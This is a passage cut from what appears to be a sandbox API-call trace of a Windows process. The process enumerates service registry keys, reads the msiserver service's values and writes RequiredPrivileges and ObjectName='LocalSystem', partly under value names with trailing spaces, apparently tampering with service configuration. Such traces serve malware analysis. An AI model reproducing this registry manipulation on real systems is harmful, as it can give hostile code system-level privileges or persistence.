hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0232.315] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0232.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0232.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0232.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0232.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0232.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0232.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0232.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0232.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0232.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0232.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0232.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0232.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0232.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0232.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0232.316] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0232.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0232.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0232.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0232.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0232.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0232.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0232.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0232.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0232.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0232.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0232.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0232.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0232.317] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0232.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0232.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0232.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0232.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0232.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0232.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0232.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0232.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0232.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0232.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0232.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0232.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0232.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0232.318] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0232.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0232.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0232.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0232.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0232.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0232.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0232.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0232.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0232.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0232.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0232.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0232.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0232.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0232.319] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0232.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0232.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0232.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0232.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0232.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0232.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0232.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0232.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0232.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0232.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0232.320] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0232.320] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0232.320] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0232.320] RegCloseKey (hKey=0x148) returned 0x0 [0232.321] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0232.321] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0232.321] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0232.321] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0232.321] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0232.321] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0232.321] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0232.321] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0232.321] RegCloseKey (hKey=0x80000002) returned 0x0 [0232.321] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0232.321] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0232.321] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0232.321] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0232.321] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0232.321] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0232.322] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0232.322] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0232.322] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0232.322] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.322] RegCloseKey (hKey=0x14c) returned 0x0 [0232.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0232.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0232.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0232.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0232.322] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0232.322] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0232.322] RegCloseKey (hKey=0x148) returned 0x0 [0232.322] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0232.322] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0232.322] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0232.323] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0232.323] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0232.323] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0232.323] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0232.323] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0232.323] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0232.323] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.323] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.323] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.323] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.323] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.324] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.324] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.324] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.324] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.324] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.324] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.324] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.324] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.324] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.324] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.324] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.324] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0232.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0232.325] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0232.325] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0232.325] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.325] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.325] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.325] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.325] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.325] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.325] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.325] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.325] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.325] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.325] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.325] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.326] RegEnumValueA (in: hKey=0x150, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.326] RegEnumValueA (in: hKey=0x150, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.326] RegEnumValueA (in: hKey=0x150, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.326] RegEnumValueA (in: hKey=0x150, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0232.326] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0232.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0232.326] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0232.326] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0232.326] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.326] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.326] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.326] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.326] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.326] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.327] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0232.327] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", 